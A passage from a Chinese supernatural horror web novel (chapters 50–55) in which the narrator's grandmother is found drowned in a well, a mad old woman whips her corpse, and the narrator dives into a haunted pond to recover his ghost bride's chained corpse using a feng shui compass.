“棺生,天快黑了,你先回去,爷爷知道上哪儿找你。”爷爷瞅了我一眼,眉心的郁结没舒展开来。 “我得去看看,来得及。”我语气笃定。 白蟾庙凶险,是因为那尸鬼盯着我,不想老陈家有东山再起的机会。 村里虽然也不安全,但好歹白姝灵能保我一两下,况且距离天黑还有一些时间。 “走吧,赶紧的哎。” 宋老头招呼两下,便又朝着村路方向走去。 爷爷拗不过我,两人跟上宋老头。 宋老头一开口就说了,是我们家里出事儿了,他走的果然也是我家的方向,不多时就到了地方,外边儿围观的村民很多, 全都在交头接耳,议论纷纷。 停在院外, 宋老头才哎了一声,说:“周磊两口子来了,给你家梁生送土鸡蛋,敲了半天没人开门,就听见咕嘟咕嘟的声儿,和人在水里扑腾似的,就赶紧撞开门进院子里,好家伙……哎,你自个儿去井里看吧。” 我清晰记得,周磊就是那个被纸刀截运控制,差点儿杀了陈梁生的村民。 陈梁生没报警,才让两人感激涕零,玩弄人心,陈梁生一直都是个好手。 宋老头语罢,就指着我家院子里的水井。 爷爷脸色变了变,一阵苍白。 “老宋啊……你老实说……是我儿,还是我婆娘?”爷爷声音都在发抖。 “嗐……”宋老头叹了口气,才说:“你自个看吧,要我说,你家最近这事儿,怪折腾人,怪闹心的,咱们村里多久没人投井自杀了啊!搞得全村都晦气。” 这话说完,宋老头就赶紧钻进了人群中,明显,这事儿不愿意沾边了。 爷爷深呼吸,脚步蹒跚的往井口走去。 我心里同样压着一块大石似的,跟着爷爷往前。 “棺生……关门……”爷爷哑声提醒我。 我才反应过来,顺手将门关了。 那一瞬,好多村民都抻着脖子,还有拖长的嘁声…… 爷爷走到井口旁,他身体一晃,双手撑着井口,哭嚎了一嗓子。 “天啊,老婆子哟……” 他这一嗓子,充满了悲怆,眼泪唰的一下就淌了出来。 我身体一晃。 井里的……是奶奶? 不是我爸,让我有一丝庆幸,可是我奶奶……我心头的那股悲哀不减。 跳井自杀? 会吗? 奶奶和我爸,都被陈梁生给控制了啊,她怎么可能有自己的想法,去跳井自杀! 她被人害了! 陈梁生在锁龙井里头,那害她的人不言而喻,就只有一个,老鳏夫! 昨夜老鳏夫没有跟踪到我们,恼羞成怒,回来杀人!? 一瞬间想明白这些,我脑瓜子更嗡嗡作响,恨意涌上心头。 爷爷是哭天喊地,心肠都快哭断了。 “死老婆子,你一直都不落教啊!好吧,你是不清醒,被人控制,可哪个天杀的这么狠心,要把你投井淹死!” 一边哭,爷爷还一边用力捶打井口。 手是肉做的,沉闷声响中,爷爷的手掌都快被锤烂了。 不光是恨意,我心里一样难受,眼睛发酸,眼泪在里边儿不停的打转。 同时,我心里还有一种后怕…… 我爸呢? 老鳏夫,是给了我警告吗? 哭着哭着,爷爷趔趄走到另一旁,将桶甩进井里,再发出哐当一声,应该是水桶砸在了尸体上。 “棺生啊……你过来看你奶奶一眼,再下去把她弄上来吧,爷爷心里堵,下去了怕上不来。”抽噎声中,爷爷又喊了我一嗓子。 我不知道怎么说。 这口井,和锁龙井又不一样了。 普通的井,白姝灵不让我靠近…… 只是心真的堵,真的难受。 强忍着那股不适感,我哑声说:“爷爷……我不能靠近过去,会出事。” 简明扼要,我说了一些相关河伯娶亲的事儿,以及白姝灵对我的叮嘱。 倒还好,爷爷还有那么一丝丝理智,他哎了一声,脚步蹒跚的朝着院门处走去。 他再拽开门,喊了几个名字。 开始没人动弹,过了一会儿,才慢吞吞几个人靠近。 爷爷是强忍着镇定,请他们帮忙捞尸体。 当然,爷爷并没有说我不能下井的原因,这些村民都是无关紧要的人,和他们说了没有意义。 几人往井那边走去,相互搭把手,两人下井,两人在上边儿拉。 哗啦哗啦的水声中,奶奶的尸体,被拽上来了。 爷爷再三道谢感激。 场间这几个村民都在摇头,说不用。 他们或多或少,都眼神不怎么友善的看着我,嘴里还在小声念叨,意思是,怎么生了这么个白眼狼的孙子,命都没了,都不肯上来搭把手。 “老陈头,不是我说你,你得把你家陈勇,还有梁生给喊回来啊!” “出那么大事儿,你是吓傻了吗?你家这棺生,读书把脑子都读茅坑里去了,指着他能帮你干啥?”宋老头从外边儿挤进我家门,跺了跺脚喊爷爷。 “哎……喊,我喊……”爷爷还是哭丧着一副脸,说:“你们都先回吧,天马上就黑了,我家老婆子死的不安生,别缠上你们。” 爷爷这话,并非刻意那么说,这算是农村里一个公认的事实。 横死的人肯定不会那么“善”,一般情况下都得闹鬼。 还有,死者为大,尸体被一大群人看着,围着,议论着,也不是那么回事儿。 天,的确快黑了,暮色逐渐吞噬着天光。 村民是真怕惹上麻烦,很快就跑的不见踪影,我家院门外都变得安安静静。 爷爷这才蹒跚着脚步,走到院门前,上了门阀。 再回过头,爷爷怔怔看着我奶奶的尸体,眼泪又止不住的往下淌。 “棺生,你说,谁害了你奶奶?”爷爷这神态语气,是痛苦极了,更怨恨极了! 第51章 陈家小子 我失去了奶奶,心里难受不假,但总归这些年,奶奶对我很差,我感情没有那么浓郁。 爷爷是失去了妻子。 他那种痛苦和怨恨的神态,一旦我直接说出来是老鳏夫,恐怕爷爷当即就要上去拼命! “是老鳏夫吧?”爷爷忽地问我。 沉默片刻,我摇摇头:“说不准。” “你爸生死未卜,我得去找他。”爷爷三咬着牙,眼神凶得吓人。 果然,爷爷态度和我想的差不多。 只是,爷爷不笨,我瞒不住。 “你不能去,去也只有我去。”我说。 “他就想着害你,就想着你去呢?”爷爷摇摇头,满脸惨然:“我去找他,要真是他,要么他死,要么我死,我要死了,你就好好藏着,以后给咱们一家人报仇!” 爷爷这番话极端极了。 “可能吗?爷爷你有没有想过,为什么死的是奶奶?他是让我看的,他逼着我去找他,否则,爸就要出事了,你要是落在他手里,他手中就多了一个威胁我的筹码。他不会那么轻易害你的,说不定还会控制了你,咱们爷孙两,现在只能先保重自身。”我回答的条理有据。 爷爷完全不吭声了。 可回答归回答,我知道是这个事儿,也是这个理儿,心里还是难受得不行。 两人沉默了足足五六分钟,爷爷疲倦开口,说:“天黑了……先去安全的地方吧。” “好。”我点头。 奶奶的尸身没有就这么放着,本来我要去背的,爷爷却不由分说的自己背在背上。 没有从前院离开,我们往后院绕路。 夜色幽深,一直摸黑走到黄土坡的位置,再到了土窑洞处,爷爷将尸身放了下来。 “横死不入门,虽然她是在家里死的,但换了地方,就不能进门了。”爷爷如实说。 月光下,奶奶那张皱巴巴的脸上不停的渗水,眼睛紧紧的闭合着,脸皮都成了深黄色。 死人就是脸皮发黄,即便是溺死的人,一样会缩水,隐隐约约还能嗅到一点点屎尿的臭气。 将奶奶尸身留在门口,我带着爷爷进了门内。 爷爷被吓得一个激灵,身体都绷直了。 白姝灵静静站在里头那个帘子前,款款行了一礼,柔声喊:“爷爷。” “哎……好……”爷爷答得很生硬。 “我打好了地铺,你们该休息了,我会守着。”白姝灵乖巧而又贤惠的说。 说实话,此刻我不但是困,还饿。 昨天到今天,折腾了那么久,没吃饭,没睡觉。 心急归心急,可越急,越容易落入圈套。 老鳏夫杀奶奶是给我压力,就是要让我急。 我爸成了他手中最后一张牌,他不可能将其撕了的。 想清楚这些,我心中镇定了些。 去泡了两桶面,和爷爷分着吃了,我就喊他睡觉。 爷爷怔怔的看着土窑洞门外。 我瞟了一眼,人都麻了。 奶奶的尸体旁边,不知道什么时候多了一大群人,全都是些老头,老太太,低头瞅着奶奶,眉眼带笑,皱巴巴的嘴唇不停蠕动,说着什么,我偏偏又听不清。 “爷爷,没事儿……都是和瞿大娘一起的,姝灵说过,这里很多老头老太太,不是鬼。”我解释。 “不是鬼?”爷爷脸白得吓人。 我正想再解释两句。 那群人里头,忽地站起来个小老头儿,冲着爷爷招招手,喊着:“陈家小子,你都儿孙满堂了啊,来,带孙子让我们也看看。” 爷爷猛地窜起身,上前,竟然一把就关上了门。 他力气大得惊人,窑洞里都落下来几缕灰。 “没事的爷爷,平时这里没有人,它们只是比较孤寂。”白姝灵站在门口,她眉眼弯弯,带着笑。 “哎……好……”爷爷回答的很勉强。 我却觉得,怎么有些古怪? 那小老头,喊爷爷陈家小子, 说什么儿孙满堂。 还让爷爷领我出去看看? 可明明,那小老头最多花甲之年,爷爷都年过古稀了。 这些,真的都是人吗? “棺生……先睡一觉吧,没精神,什么事情都做不了。” 爷爷有些慌,起身往里头那张帘子走。 我跟了上去。 本来我喊他睡床上,我睡地铺,爷爷却不由分说,自己直接躺在地铺上头了。 我拗不过他,只能自己躺上床。 翻来覆去一直睡不着,明明很困很疲倦,脑子却一直很清醒,还隐隐作痛。 这就是心里挂着事儿,才会睡不着。 余光瞧见爷爷侧头一直瞅着门帘缝隙外,整个人警惕极了。 “爷爷,姝灵在,没事的。”我小声喊他。 爷爷才侧过身来,平躺着睡下。 不多时,爷爷传来轻微的鼾声,我脑子太痛,太重,总算睡着了。 次日醒来,脑子清明许多,却瞧见爷爷不在地铺上。 下床,掀开帘子出去,爷爷也没在窑洞屋子里。 我推门出了土窑洞,阳光刺目,脸晒得暖洋洋。 我身上又起了一串细密的鸡皮疙瘩,因为奶奶居然没有躺在地上,她直挺挺站着,从井水里被打捞出来一整夜,她皮肤,头发,还是湿漉漉的,甚至一直往下滴水。 爷爷将她立起来的? 这又和什么传统有关? 只是爷爷去了哪儿? 我视线从奶奶身上挪开,本想着爷爷可能去找瞿大娘了。 视线下意识四扫周围一圈儿。 才瞧见黄土坡另一侧稍矮的方向,也就是靠近村子那头,隐约有个人影站起来,跪下去,不知道在做着什么动作。 定睛仔细看了一会儿,才认出来,那身影就是爷爷! 我小跑过去,距离近了才看清楚,爷爷正在给那些黄土坡和地面夹角的半圆形砖墙作揖。 标标准准的三拜,三叩首,就和上坟的动作如出一辙。 阳光是那么的刺眼,这些灰色砖墙却显得那么阴霾,上边儿的白霜更深了几分。 “葛大爷,小陈没忘了当年您斗米之恩,孙儿是长大成人了,最近老陈家也是真遇到事儿了,才会到这里讨个安宁,望你们照拂着我孙儿几分,到时候,我天天来给您上贡,陪你们唠嗑。”爷爷恭敬虔诚。 我脑瓜子却嗡嗡的。 爷爷的作揖跪拜,他那番说辞,都说明了,这些半圆形的砖墙,实际上是一座座坟!? 第52章 该死的没死,不该死的死了 爷爷突然一个激灵,回头,刚好就和我对视。 接着,爷爷深深冲着面前那半圆砖墙又拜了拜,才匆匆朝着我走来。 抓住我胳膊,他就拉着我往远处走,那副架势,是不想我和这些“坟”距离太近。 “咋回事儿爷爷……” 事实和我认知不同,导致我心里悬着一块石头。 “哎……对你那个媳妇来说,这里姑且算是人多吧。”爷爷眼皮低垂,眉头紧皱着。 我:“……” 转念一想,好像白姝灵也没说过,他们是人? 是因为瞿大娘是人,我才分析推断,这些老头老太太和瞿大娘一样,都是活人。 “早些年,兵荒马乱的,看天吃饭,天又不好,咱们这地界,过了年岁的老人,就得在这黄土坡下挖个墓,儿女天天上山送饭,吃一顿,封一砖,砖满了,坟就砌成了,昨夜喊我带你出去的那个老人家,以前送了爷爷一斗米,要不是他,爷爷当年就饿死了。”爷爷解释之余,唏嘘不已。 “这地方确实安全,看他们的样子,对你没恶意,对你那媳妇也没恶意,不管是“老鳏夫”还是陈梁生,都不敢贸然来这儿的。” 听完爷爷的解释,我心里悬着的那石头更重,更大。 一时半会儿,还有些喘不上气的窒息。 “现在世道好,饿不死人了,以前遇到点儿天灾,就哀鸿遍野,饿殍满道。”爷爷语气反倒是轻松多了。 我反倒是不知道怎么接话。 真说世道好? 世道好吗? 以前是饿肚子死人,现在呢? “你少接触那些老人,他们喊你,你也别去,你那媳妇明事理的。”爷爷又提醒我。 我点点头。 这几天,我接触的东西,的确改变了我很多认知。 不过这并不代表,我对死人,对鬼稀松平常了。 那乌泱泱的一群鬼,我哪儿敢靠近? 一转眼,又回到土窑洞前头。 “你奶呢?”爷爷脸色顿变。 窑洞外空空如也,奶奶尸体真就没了…… 地上有道湿漉漉的痕迹,朝着黄土坡更深处,瞿大娘住处那院子延展而去。 “应该是瞿大娘。”我眼皮狂跳,下了推断。 瞿大娘,很古怪。 行为古怪,做事更古怪。 明明好端端和我说着话,忽然就变了脸,还拿炭火砸我,疯疯癫癫。 这会儿,还把奶奶尸体给拖走了。 如果不是爷爷认识她,我是一万个不想和她打交道。 爷爷绷着一张脸,顺着地上的痕迹往前走。 我就只能跟上去。 不多时,就到了瞿大娘住的院子外。 院里头冒着浓烟,一眼就瞧见,一口炉子正烧着火,上边摆着个烧得满是煤灰的锅,黑烟和锅里蒸汽混杂在一起,不停的升腾。 院中央栽着一棵树,是桃树。 奶奶的尸体,被一根粗麻绳捆在树上。 衣衫褴褛,浑身脏兮兮的老妪,正持着一根鞭子,啪啪的抽打奶奶尸身。 一边打,嘴里一边骂着。 “打你个死倒鬼,活着帮外人,死了害自家!” 爷爷顿急了眼,往前疾走,还大喊:“莫打了瞿大娘!死者为大啊!” 他声音哑到了极点。 我紧随着爷爷,更警惕的看着老妪,也就是瞿大娘,随时戒备着她,以防她做什么出格的事儿。 瞿大娘的动作忽地停下来,扭头怔怔瞅着爷爷,嘴巴张了张,没说出话。 随后,她狠狠又是一鞭子抽在奶奶身上,骂着:“打你个死倒鬼,半夜让你偷窥人!” 眼瞅着爷爷要到桃树下了。 瞿大娘鞭子又朝着爷爷猛甩两下,逼的爷爷不敢靠近。 我抓着爷爷胳膊,小声提醒他别伤着。 爷爷红着眼眶,又喊了声:“瞿大娘,你收手……” 瞿大娘再看爷爷,她表情忽然又哭又笑起来。 “该死的人没死,不该死的人死了,该死的一肚子恨,不该死的一肚子怨,恨消不了,怨散不去,老陈家的苗子惹了事端祸害,要夭折丧命哇!” 瞿大娘这一番话,怪诞极了。 下细一想,该死的是爷爷。 不该死的,是奶奶。 老陈家的苗子,是我? 爷爷抬着一只手,手掌似是按压的动作,另一只手挣脱开我,要朝着瞿大娘靠近。 “别过来!”瞿大娘嗓子忽然一尖:“她得在这里锁着,我救你老陈家的命!” 爷爷又顿住脚步,不敢往前走了。 “一人不进庙,两人不观井,三人不抱树,独坐莫凭栏!”瞿大娘腔调幽细,就像是戏腔似的。 忽然,她又笑了起来,那样子别提有多疯癫了。 “死了!都死了!哈哈!死了好哇,死了好!” 她叫着,喊着,笑着,居然又哭了,那哭声哀怨,悲伤,捂着胸口不停的抽噎着。 她嘴里还叽咕,口齿不清的说着什么……师父?师爷? 一时间,爷爷脸色苍白极了。 “滚呐!不要命了!” 瞿大娘变脸的速度快得吓人,甩起鞭子,啪的一下,当头打在爷爷脑门心! 爷爷闷哼一声,捂着脸后退。 一条深深的血痕出现在爷爷额头上! “你干什……”我语气格外重,忍不住要骂人。 爷爷反而一把抓住我胳膊。 他嘴皮颤得厉害,嗡了两下,没说出来话,居然后退两步,又冲着瞿大娘深深拜了一下,这才拉着我往后走。 “爷爷……你做啥子?”我不明所以啊,出了这院子后,挣脱开爷爷的手。 “他还打奶奶尸体呢。”不管我对奶奶感情深厚如何,死者为大,这事儿不是闹着玩的。 爷爷白着一张脸,似是想哭。 我看出了他脸色的煎熬,忽然就冷静了许多。 先前爷爷情绪才是难以自控,他先喊的住手,先喊的死者为大…… 他比我更着急。 “她说你奶奶半夜偷窥咱们……” “你奶奶不该死,该死的是我,夜里头,你奶奶会报复……” “让她……先拴着吧……” 说完这几句话,爷爷似是失去了全身的力气。 “怎么能这样说呢?总有人要害死人,爷爷,你就没想过,如果锁龙井我不管你,老鳏夫就不会趁机下手吗?他本来就想动陈梁生,更想动我,他可能放过咱家人?” “瞿大娘可能有些本事,可她疯了!”我言之凿凿,更不想爷爷将奶奶的死,归咎在他身上。 “她疯了吗?不……她没疯……”爷爷直摇头。 “她是怕……她怕锁龙井里的东西出来……”说这话时,爷爷脸上都起了一层细密的白毛汗。 第53章 正在腐烂的病人 爷爷的话,再度让我戛然无声。 瞿大娘究竟是谁? 我脑子里冒出一个疑问。 只不过,爷爷根本没有想过要告诉我这些,他先前都和我说了瓦罐坟的事儿,代表着他心里其实明镜似的,如果他想说出瞿大娘的身份,不需要我问,他会讲,他不想说的话,就像是这两天了,他也没说。 我只能判断,瞿大娘或许和当年的老陈家有关。 “回去吧。”爷爷充满了疲倦,往土窑洞方向走去。 等回到土窑洞里,他又让我弄点吃的。 这地方没什么条件,早餐只能对付点饼干零食。 随后爷爷说自己困了,便进帘子后的房间,躺在地铺上。 他没有提我爸。 事情摆在明面上了,老鳏夫捏着我爸这张牌,不愁我不去找他。 爷爷自己明白,他去了,是给我添麻烦,只能等我们想出一个合理的解决办法。 我摸出来了在祖坟里得到的两本书。 斜斜的阳光如注一般灌入窑洞内,书封上的字极为晃眼。 《葬经百解》《神相千壳》 我率先翻开了葬经百解,这果然是一本相关于风水的书,对比老鳏夫那本蓝皮书,这本书内的内容看似晦涩难懂,多看几眼,却觉得脑子里脉络初成,此书更细致入微,更适合我学! 心头悸动之余,我又翻开神相千壳,结果第一页就是两张人脸画像,面无表情,有点儿像是兵马俑那种典型的古人脸,上边儿全是细密的麻点子,各有标记。 再往后翻页,就是相关于这些标记的解释。 这是算命术! 老陈家的本事,不仅仅局限于风水,更有算命! 其实我先前也知道了,若他们没有算命,又怎么能对后来的事情未卜先知?更遑论给我立下一桩婚约,还将婚书留在棺材里了。 稍有迟疑,我合上了神相千壳,先看葬经百解。 前段时间,老鳏夫总归教了我不少东西,对于风水,我能更好入门理解。 很快,我就沉浸在书的内容中。 并非我在这种节骨眼,还有心情看书,而是不看不行。 我得找到办法! 对付老鳏夫的办法! 到了中午,我正准备弄点儿泡面吃,只能将就将就。 刚一起身,却瞧见屋门口杵着个人,居然又是瞿大娘! 她一点声儿都没发出来,就那么怔怔看着我。 鬼是惊悚,吓不死人,人吓人才会吓死人。 我身上一阵白毛汗。 瞿大娘却抬起手,又放下,她慢吞吞离开。 地上是两个特别陈旧的铁饭盒,隐约还溢出一些汤汁。 脚步声传来,是爷爷从帘子后边儿出来了,他去拾起铁饭盒,放到桌上后打开。 里边儿是满是锅巴的白米饭,以及黑乎乎,看不出是什么东西的炒菜。 “吃吧。”爷爷说。 他都说吃,我就没扭捏。 别说,这饭虽然看上去不怎么样,吃着很香,米劲道,锅巴香脆,菜香一样浓郁。 填饱了肚子,我又继续看葬经百解,说实话,这一天的收获,我感觉比老鳏夫教了我那么多天的都要强,直观觉得,老鳏夫那些,都是雕虫小技,老陈家的风水术,才是一条康庄大道。 外边儿日落西山,快天黑了。 “棺生,你好好休息,我还是得去找一趟瞿大娘。她可能有办法,你放心,她是你太爷爷的弟子,只是刚收了她,陈家就出事。”爷爷总算说了瞿大娘的身份。 我点点头。 爷爷要进村,我肯定担心。 去找瞿大娘,那就没事了。 尽管她疯疯癫癫,可这几次接触下来,能判定一点,她能规避危险,肯定不会让爷爷去做什么冒险的事儿,爷爷自己也清楚这一点。 他走后,土窑洞里就只剩下我一个人。 我再翻了一会儿书,眼睛总算开始酸涩。 不知觉间,天,黑了。 白姝灵悄无声息的出现在我身旁,端庄而又乖巧。 “你应该知道他究竟是什么吧?”我深吸一口气,问。 我指的就是老鳏夫。 这几天来来回回的事儿,让我到了土窑洞,都无暇和白姝灵沟通。 “人。” “病人。”白姝灵眸子忽闪忽闪,轻声道。 “不应该是膏肓鬼?”我心悬起来一截。 “他养膏肓鬼。”白姝灵说。 我:“……” “你爹自己清楚吗?”我再问。 “死之前应该清楚了。”白姝灵仿佛说着一件小事。 事情初步有了一定脉络,当初在那土房子里闹的膏肓鬼,实际上是白姝灵口中所说病人所养的。 火神庙曾经的庙祝死在那鬼手中,实际上,是死在那病人手里。 多年后,老鳏夫去对付膏肓鬼,一样被那病人剥皮,取而代之。 “那你知道,他有什么病?我们应该怎么对付他?”我情绪镇定,条理有据。 “他正在腐烂,相公,你和我,都对付不了他。”白姝灵摇头。 我再度沉默了,手摁在眉心,脸色难以抑制的苦恼。 “不过,你真想对付他的话,也不是完全没有办法。”白姝灵的语气,清脆中带着一丝空幽。 和她先前相比……很不一样。 只是,我无暇顾及这细微处的变化, “什么办法?” “把我拉出来。”白姝灵深深注视着我。 顿时,我心里咯噔一下。 把她拉出来…… 她已经在我身边了,这指的不是鬼魂,是尸身? “凭你从现在开始学本事,你要几年能对付他?他中途找不到你们吗?你爸能撑住多久?”白姝灵眸子微微眯着,语气更清冷。 这不是细微处的变化了,白姝灵的态度,有了极大的转变…… 没有那么乖巧。 先前是嫁鸡随鸡,嫁狗随狗,听取我的意见。 此刻,她自己有了主见? “你看我干什么?”白姝灵忽然又问。 “没什么……只是觉得,你好像有些不一样。”我略有几分不自然。 “哦。”白姝灵却起身,朝着门外走去。 “来啊。”停在门前,白姝灵又回头喊了我一声。 我形容不了,总之现在心里悬吊吊的。 我想白姝灵能起到点帮助,她好像真能起作用,有帮助。 可她,好奇怪…… 她是她,可她怎么又不像是她?而像是换了个“人”? 第54章 你是男人,男人不能说不行 月亮还没出来,白姝灵的脸,就宛若苍白的月色。 她抬起手来,和我招手。 “你不去了吗?那好。” 她迈步又往屋内走,门随之要闭合。 “噌”的一声,我站起身,三步并作两步走至白姝灵面前,没有让她继续往里,门也只关了一半。 白姝灵一直就在我面前,她又怎么可能忽然变成另一个人? 还没等我细想,她转身,径直往外走去。 我跟她出去的瞬间,就感觉到一道道目光从周围投来。 余光看过去,全都是昨夜出现过的那些老人,这一次我稍稍注意了他们的年纪,果然,都在六十岁上下。 他们在窃窃私语,不知道在议论着什么。 顺着黄土坡走了一会儿,看不见那些老人了。 白姝灵一直踮着脚尖,走得十分轻巧,月光终于出现,将我的影子拉得老长。 鬼没有影子,因此,我和白姝灵形双影单。 很快,瞧见了以前我读书的小学,还能瞧见小学外那条河,水位变高,至少超过一两米,河面都宽了许多,湍急的流淌着。 再往前走了一段路,瞧见一个水潭,满满当当的潭水,波光粼粼,并且潭水边上有个口子,正在不停的往外淌水,就是这个口子最终汇入了小学外的那条河。 要不了多久,村口的马路或许都会被淹掉。 当年那条在村口的大河,又会重新出现!? 白姝灵停了下来。 我就停了下来。 虽然前方视线开拓,但我们现在所处的位置十分隐蔽,地面一片荆棘,周围长了很多歪脖子老树,挂着爬山虎,丝瓜藤,还有许许多多的蛛丝网。 “把我拉出来,我就可以掐死他。” “你行吗?”白姝灵问我。 “这……” 一时间,我不知道怎么开口回答。 水里有东西…… 犹记得先前她告诉我,死水还阴,癞子坐堂,河伯娶亲,生水还阳。 我按照这段话的提示,顺着癞疙宝一起走,找到她的尸身,通开死水潭子,将她更多的魂魄放了出来,才有现在的她跟着我。 当时我也想将她尸体拉上岸的,是水里那么多女尸,不让尸身离开。 潭水边上的河伯庙里更钻出来很可怕的东西! 那会儿,白姝灵还拉着我一起跑呢,现在又问我能不能把她拉出来? 我除了胆子比之前可能大一点,风水稍稍懂了多那么一丝丝,和先前又有什么区别? 答案肯定是不行啊! “你是男人,男人不能说自己不行。”白姝灵恰逢其时开口,直接将我的话给噎死回去。 “想想那座山。”白姝灵忽然又说。 “蟾山?”我心里一激灵。 直观上来想,蟾山和这潭水,能有什么关联,相距甚远,八竿子都打不到一处。 不过下细一想,真的没区别吗? 蟾山中,白姝灵现不了身,是因为山上有某种布置,十有八九是某种镇物的存在。 思绪至此,脑袋忽的醍醐灌顶。 “对啊!如果用镇物,镇住这潭水,那里边儿的女尸不能作乱,我就能把你的尸体平安无恙的拉出来了!” “甚至……如果镇物还能镇住那些水鬼,就再好不过!” 我话音中透着兴奋。 “它们不是水鬼,是水尸鬼。”白姝灵轻声回答:“它们也不是死的,它们活着。” 白姝灵的话,就像是一盆冷水浇在我头顶。 “活着?河伯娶亲,生水还阳……指的是这个?死水潭子被通开,它们一样会还阳,活过来?”我眼皮不停的狂跳,当时很多推断,在这会儿白姝灵主动开口解释后,都被推翻了。 “我能引走它们一段时间,不过,你要尽快将“我”拉出来,明白了吗?”白姝灵语罢的瞬间,身体轻飘飘的往前去。 “等一等……”我刚喊出声,一股风却忽然刮了起来,这和妖风似的,吹得白姝灵很快就到了那潭水旁。 水中涟漪不断,冒出了一颗颗头。 距离虽然远,但我依旧看得清楚,那些头一个个十分畸形,嘴巴鼓着,包不住牙齿。 矮塌的鼻梁,鼻孔外翻。 尤其是那硕大的眼珠子,就和牛眼似的。 它们活灵活现的看着岸边的白姝灵。 一种怪异的声响,从它们口中传出,既像是叫声,又像是某种笑声。 白姝灵的鬼影翩翩而起,坠入潭水外的水流中,顺着那股水,朝着下游飘去。 那一瞬,她本身在我身旁的白衣,变成鲜红如血,就像是女子盛装嫁人的红嫁衣。 一个个水鬼…… 不,白姝灵口中的水尸鬼,冒出水面,朝着那股水游去! 我心都快骤停了。 过了四五分钟,水面没有任何东西。 远处,白姝灵的鬼影子都消失不见,更瞧不见半个水尸鬼的影子。 我这才从这片荆棘林里钻出去,朝着潭水小跑。 很快,我到了河伯庙旁,潭水还在荡漾着涟漪。 月亮的倒影落在涟漪中,圆月都变得破碎不堪。 额间不停的冒着汗珠。 白姝灵,太着急了啊! 她就甩下话,让我做什么,得达成什么目的,她就直接引开水尸鬼了。 她没管我能不能做到…… 就只说我是男人,男人不能说不行。 “镇物……” 情急之下,脑子虽然浑噩,但又还剩下一丝清明。 我掏出来了两样东西。 寻龙分金尺。 以及那块格外古朴的罗经盘。 爷爷说过,寻龙分金尺,是老陈家安身立命之本,这绝对不是普通的东西。 我对葬经百解的了解还不够深,不知道这“法器”应该怎么用。 可罗经盘我是了解的。 老鳏夫的蓝皮书里就描绘过罗经盘,是勘风水的必备法器。 确切来说,罗经盘又叫做罗盘,可测阳宅风水,又可断阴宅坟茔,除却勘风水的作用外,它还是一道符,可辟邪化煞! 目光直勾勾的盯着这水潭,我知道,应该怎么镇住此地了! 很快,我就脱掉衣服,裹住两本书和寻龙分金尺,藏在潭水边上一个草堆里。 随后手持着罗盘,纵身跃进潭水中! 入水瞬间,水居然不冰凉的,反而带着一股淡淡的温润! 水里颜色变了,带着一丝丝暗红……像是浸润了血…… 一只肚子被利齿咬破的癞疙宝忽然一下撞在我脸上,肠肚带着粘稠,恶心极了! 第55章 废物! 我抬手,猛地一把推开那癞疙宝,身上都 ??起了一大片鸡皮疙瘩。 那癞疙宝居然像是活着似的,还在水里抽搐,挣扎,显得十分痛苦。 不光是一只,我发现视线所至的范围内,水中都是这样的癞疙宝,有些半个身子都被咬掉了,还有一些腹中空空,肠肚消失不见。 它们残缺,它们却还在垂死边缘挣扎。 血,便来自于它们身上,潭水因此被染红…… 我紧闭着嘴,咽了口唾沫。 是那群水尸鬼干的? 因为这潭水下有一个水口,水口又是阴龙的穴眼,曾经整条河的核心,不停的冲出生气,导致这些癞疙宝,一直在生死的边缘徘徊? 想归想,不舒服归不舒服,我还是摆动身体,快速朝着下方游去。 潭水是安静的,很快到了底部 这里的水流量特别大,以前微弱的像是小水管裂缝,此刻是如注的水流往外冲! 一具具尸首! 不,一个个河娘子,正在水底翩翩“起舞”。 红衣随着水流起伏,摆动。 她们的脸,无一例外,虽然在笑,但那神态分外怨毒。 细细的铁链拴在她们的腰间,栓死了性命,也拴住了死后的自由。 我心跳砰砰的,速度不停加快。 视线所视,正下方,冲出水流的位置,静静杵着一个“人”,正是白姝灵! 因为没有了魂魄在身上,她尸身更冷,更没有任何神态,完全一具死尸。 细节上有些问题,上一次我没注意到河娘子身上的铁链,不过应该一直都有。 铁链的长度,肯定是整个潭水所及的距离,否则她们先前就没办法将我拽回来了。 注视感萦绕在身上,众多河娘子的脸都朝着我,她们似是蠢蠢欲动。 不过,她们又像是碍于什么威胁似的,没敢直接靠近。 能感觉到额间泌出汗珠,瞬的又被水冲散。 我瞟了一眼手中的罗盘。 应该,就是罗盘的作用了…… 心跳的速度,更快,像是要从胸腔里跳出来。 我盯着白姝灵尸身下的一处位置,牙关紧咬,神情紧绷,直接将罗盘投出。 那些河娘子,她们身上的红衣绽开,她们的手脚随之张开。 这一瞬间,水下像是盛开了十八朵血色牡丹。 她们无一例外,朝着我冲来! 罗盘在我手中,有辟邪化煞的作用。 可仅仅能保护我而已。 想要带上来白姝灵尸身,那不可能! 河娘子们拉不住我,还不能拉白姝灵尸身吗? 得镇住她们! 那就得镇住这潭水! 我没有躲,死死的攥着拳头。 躲不掉啊! 必须孤注一掷! 白姝灵没有给我考量的机会,我更不知道她能吸引水尸鬼多久。 冰冷的触感,是一只手拽住了我的腿。 随之,三十多只手落在我身上,她们力道十分大,像是一个个钳子,灵活程度又像是八爪鱼,很快,就要将我整个人全部缠住! 下一霎,她们身上舞动的红衣,瞬间沉寂,抓住我的手,甚至还有些缠住我的头发,都快速从我身上滑落。 十八个河娘子,朝着水下沉去…… 心真的快跳的炸掉了。 甚至眼角还有点儿温热,说实话,我有一点点被吓哭。 可惊喜,来势更凶! 真的镇住了! 我快速往下游,很快就来到白姝灵尸身旁。 抓住白姝灵尸身肩头,往上冲去的瞬间,我心头微微一凛,低头看着水底,罗盘堵住的一个位置。 带白姝灵上去……就得将老陈家这块传承下来的罗盘留在水中…… 它会成镇水之物…… 旋即,我收起心中的杂乱。 放在这儿,又不代表我拿不回来了。 法器还有寻龙分金尺,我至少学通一点儿葬经百解,肯定有的是办法对付水尸鬼! 双腿用力摆动,我带着白姝灵尸身上浮。 游着游着,就发现了不对劲。 白姝灵的身上也有细铁链,远远不止一根! 她腰间,居然有九根细铁链。 水面,就是极限! 导致尸身刚出水面,就被铁链拽着成了面朝下,头发在水中飘散。 我想要将铁链解开,却发现根本解不开,腰部完全被锁死,盈盈一握的腰肢,往下是弧度惊人的胯骨,往上则是肋骨…… 我骂娘的心都有了。 这群水尸鬼,不但要河娘子当媳妇,居然挨个都拴上铁链。 当年,那十八个河娘子都是这样,哀怨不已,死都不能超生。 想来白姝灵也是一样? 只不过,它们没有发现,白姝灵堵住了水口,导致河水断流,甚至它们还给白姝灵拴上铁链,让白姝灵只能困在这里。 随着河流缩小,它们一样只能在这里,从而被白姝灵制衡? 